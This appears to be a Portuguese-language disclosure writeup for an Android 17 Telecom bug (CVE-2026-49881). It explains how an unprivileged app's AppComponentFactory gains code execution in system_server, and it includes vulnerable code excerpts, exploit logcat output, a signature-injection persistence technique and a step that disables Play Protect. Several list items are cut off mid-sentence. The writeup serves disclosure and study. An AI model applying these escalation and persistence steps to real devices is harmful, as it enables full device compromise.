
CVE-2026-49881, um problema de lógica na classe InCallController do serviço Telecom do Android 17 que permite que um aplicativo sem privilégios obtenha execução arbitrária de código como UID 1000 system_server
Este é um PoC e um writeup para o CVE-2026-49881, um problema de lógica na classe InCallController no serviço Telecom do Android 17 que permite que um aplicativo sem privilégios obtenha execução arbitrária de código como UID 1000 system_server sem nenhuma interação extra do usuário. Também mostramos aqui que a execução de código em system_server ainda pode ser facilmente adaptada para obter persistência, mesmo em versões modernas do Android.
Reportei esta vulnerabilidade à Equipe de Segurança do Android em 2026-04-10, ela foi confirmada em 2026-05-06 e foi corrigida no Boletim de Segurança do Android de setembro de 2026. (veja aqui o patch)
No momento do relato, ela afetava ativamente apenas builds Pixel a partir do Android 16 QPR3 (junto com builds Beta 17), até onde sei, mas depois chegou ao lançamento estável do AOSP do Android 17.
Para se proteger deste problema, certifique-se de instalar a atualização do sistema Google Play, bem como o patch de segurança do sistema. (Telecom é um componente mainline desde o Android 17)
system_server usando a vulnerabilidade, registra id e stack trace no logcat e se reinstala como um componente de system_server.build.sh incluído. Caso contrário, você pode executar manualmente ./gradlew assembleSystemRelease, mover o app-system-release.apk resultante para app/src/poc/assets/system.apk e então executar ./gradlew assemblePocRelease.system_server, também desativa o Play Protect definindo package_verifier_user_consent como -1 em Settings.Global, porque ele às vezes pode interceptar a transação de reinstalação devido a assinaturas desconhecidas. Você deve reativar isso em Configurações após os testes.system_server pode precisar de alguma personalização por OEM, pois depende de percorrer a estrutura do PMS usando símbolos que os OEMs às vezes alteram.A saída esperada do logcat do PoC é:
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.911 1558 12775 E TLPE : [+] Exploit successful!
04-15 03:02:47.911 1558 12775 E TLPE : [+] Running as: [uid=1000(system) gid=1000(system) groups=1000(system),1001(radio),1002(bluetooth),1003(graphics),1004(input),1005(audio),1006(camera),1007(log),1008(compass),1009(mount),1010(wifi),1018(usb),1021(gps),1023(media_rw),1024(mtp),1032(package_info),1065(reserved_disk),3001(net_bt_admin),3002(net_bt),3003(inet),3005(net_admin),3006(net_bw_stats),3007(net_bw_acct),3009(readproc),3010(wakelock),3011(uhid),3012(readtracefs) context=u:r:system_server:s0]
04-15 03:02:47.911 1558 12775 E TLPE : [+] Current stack trace:
04-15 03:02:47.911 1558 12775 E TLPE : [dalvik.system.VMStack.getThreadStackTrace(Native Method), java.lang.Thread.getStackTrace(Thread.java:2842), poc.sithi.tlpe.EvilFactory.instantiateClassLoader(EvilFactory.kt:31), android.app.LoadedApk.createOrUpdateClassLoaderLocked(LoadedApk.java:1215), android.app.LoadedApk.getClassLoader(LoadedApk.java:1267), android.app.ContextImpl.getClassLoader(ContextImpl.java:542), com.android.server.telecom.InCallController.serviceClassExists(InCallController.java:2561), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2606), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2515), com.android.server.telecom.InCallController.getInCallServiceComponents(InCallController.java:2499), com.android.server.telecom.InCallController.bindToBTService(InCallController.java:2247), com.android.server.telecom.InCallController.onCallAdded(InCallController.java:1437), com.android.server.telecom.CallsManager.addCall(CallsManager.java:5457), com.android.server.telecom.CallsManager.processIncomingCallIntent(CallsManager.java:1970), com.android.server.telecom.callsequencing.voip.IncomingCallTransaction.processTransaction(IncomingCallTransaction.java:76), com.android.server.telecom.callsequencing.CallTransaction$$ExternalSyntheticLambda3.apply(R8$$SyntheticClass:0), java.util.concurrent.CompletableFuture$UniCompose.tryFire(CompletableFuture.java:1126), java.util.concurrent.CompletableFuture$Completion.run(CompletableFuture.java:458), com.android.server.telecom.LoggedHandlerExecutor$1.loggedRun(LoggedHandlerExecutor.java:41), android.telecom.Logging.Runnable$1.run(Runnable.java:37), android.os.Handler.handleCallback(Handler.java:1095), android.os.Handler.dispatchMessageImpl(Handler.java:135), android.os.Handler.dispatchMessage(Handler.java:125), android.os.Looper.loopOnce(Looper.java:269), android.os.Looper.loop(Looper.java:367), android.os.HandlerThread.run(HandlerThread.java:139)]
04-15 03:02:47.911 1558 12775 E TLPE : ===================================
04-15 03:02:47.934 1558 12785 E TLPE : [+] Retrieved system APK, attempting persistence...
04-15 03:02:47.935 1558 12785 E TLPE : [+] Injection successful, forcing packages.xml flush
04-15 03:02:47.957 1558 12785 E TLPE : [+] Persistence successful, reinstalling...
Esta é uma vulnerabilidade excepcionalmente direta. Sempre que certas ações relacionadas ao Telecom acontecem, o InCallController tenta descobrir serviços disponíveis através de getInCallServiceComponents. Isso ocorre naturalmente quando uma chamada é registrada no sistema, mas um aplicativo pode, na verdade, acioná-la sob demanda também graças à API de chamadas transacionais TelecomManager.addCall. (nota: é isso que o botão Start Exploit no PoC usa) Esta API precisa de MANAGE_OWN_CALLS, mas é uma permissão normal e invisível ao usuário, concedida automaticamente na instalação.
Esta enumeração é implementada nas versões vulneráveis assim:
private List<InCallServiceInfo> getInCallServiceComponents(UserHandle userHandle,
String packageName, ComponentName componentName,
int requestedType, boolean ignoreDisabled) {
...
List<ResolveInfo> entries;
entries = userPackageManager.queryIntentServices(
serviceIntent,
PackageManager.GET_META_DATA | PackageManager.MATCH_DISABLED_COMPONENTS);
for (ResolveInfo entry : entries) {
ServiceInfo serviceInfo = entry.serviceInfo;
if (serviceInfo != null) {
boolean isMetaFlag = serviceInfo.metaData != null &&
serviceInfo.metaData.getBoolean(
"android.telecom.CLASS_EXISTENCE_CHECK", false);
if (isMetaFlag && !serviceClassExists(serviceInfo, userHandle)) {
continue;
}
...
}
}
}
Observe como serviceClassExists é executado contra qualquer componente que declare uma intent InCallService junto com o valor de metadados android.telecom.CLASS_EXISTENCE_CHECK, não apenas InCallServices válidos/habilitados. (essa verificação é implementada mais abaixo no ramo com getInCallServiceType e isServiceEnabled)
serviceClassExists é implementado como:
/**
* Verifies that the class for a given ServiceInfo exists within its package.
* This prevents a system crash if a service is declared in the manifest but its
* class was not included in the compiled code.
* @param serviceInfo The ServiceInfo of the service to check.
* @param userHandle The user under which to check for the service.
* @return {@code true} if the class exists, {@code false} otherwise.
*/
private boolean serviceClassExists(ServiceInfo serviceInfo, UserHandle userHandle) {
Log.i(this, "serviceClassExists check");
try {
Context packageContext = mContext.createPackageContextAsUser(
serviceInfo.packageName,
Context.CONTEXT_INCLUDE_CODE | Context.CONTEXT_IGNORE_SECURITY, userHandle);
ClassLoader classLoader = packageContext.getClassLoader();
Class.forName(serviceInfo.name, false, classLoader);
return true;
} catch (NameNotFoundException | ClassNotFoundException e) {
Log.w(this, "Skipping InCallService: class not found for " + serviceInfo.name);
return false;
} catch (Exception e) {
Log.e(this, e, "Error checking for existence of " + serviceInfo.name);
return false;
}
}
Os perigos de createPackageContext com CONTEXT_IGNORE_SECURITY são bem documentados, e neste caso é o próprio system_server executando-o contra um componente não confiável apenas para verificar se uma classe existe no DEX desse aplicativo. À primeira vista, no entanto, isso pode parecer seguro porque o contexto obtido é usado em Class.forName com initialize=false — o desenvolvedor provavelmente estava ciente desse risco e especificou esse argumento para garantir que a classe estrangeira não fosse inicializada em system_server.
Infelizmente, essa cautela chega tarde demais — o dano já está feito por getClassLoader no contexto estrangeiro. Se o aplicativo atacante define um AppComponentFactory em seu manifesto como android:appComponentFactory, o método getClassLoader em um LoadedApk correspondente a um contexto criado com CONTEXT_INCLUDE_CODE e CONTEXT_IGNORE_SECURITY primeiro recupera o class loader padrão do aplicativo estrangeiro do disco e então executa tanto o construtor da fábrica quanto seu método instantiateClassLoader antes de retornar o class loader.
Como essa classe é controlável pelo aplicativo atacante, isso leva imediatamente à execução arbitrária de código no contexto do Telecom.
Para mostrar as consequências da execução bem-sucedida de código em system_server, o PoC demonstra a reinstalação de si mesmo como um componente persistente de system_server. (a técnica é adaptada da técnica publicada no PoC AbxOverflow / CVE-2024-34740 por Michał Bednarski)
Fazemos isso:
Signature do nosso aplicativo PoC refletindo dinamicamente em PackageManagerService.mSettings diretamente quando estamos em system_server.SharedUserSetting correspondente a "android.uid.system" e injetando o Signature do PoC duas vezes em seu getSigningDetails().mPastSigningCertificates com CertCapabilities.SHARED_USER_ID.android:sharedUserId="android.uid.system" e android:process="system" adicionados ao manifesto. (o que também libera a modificação volátil da etapa anterior para packages.xml)Isso faz com que canJoinSharedUserId() em PackageSignatures passe devido à correspondência do histórico de rotação e produz privilégios persistentes de system_server.
Uma pergunta que você pode ter é por que essa vulnerabilidade existe — em particular, por que há uma verificação de existência de classe opt-in protegida por um sinalizador de metadados não documentado?
É impossível dizer com certeza, mas a resposta provável para esse mistério pode ser encontrada cavando um pouco mais fundo no AOSP: tanto a verificação de classe quanto a comparação de metadados provavelmente foram adicionadas para considerar android.net.ConnectivityCallListenerService, que estava sendo implementado na mesma época.
Este serviço foi inicialmente definido no manifesto do framework, mas não foi implementado em nenhum lugar. (e quando foi adicionado, estava atrás do sinalizador de recurso Flags.FLAG_ENABLE_INCALL_SERVICE_API) Uma vez que as falhas foram observadas nos testes, alguém provavelmente decidiu implementar a correção como uma verificação reutilizável de "defesa em profundidade" em vez de uma exceção codificada — a definição do manifesto deste serviço diz que ele define "android.telecom.CLASS_EXISTENCE_CHECK" para "indicar que a classe deste serviço pode não estar presente em todos os builds" e "instruir o Telecom a verificar a existência da classe antes de tentar vincular". (e é por isso que estamos aqui agora)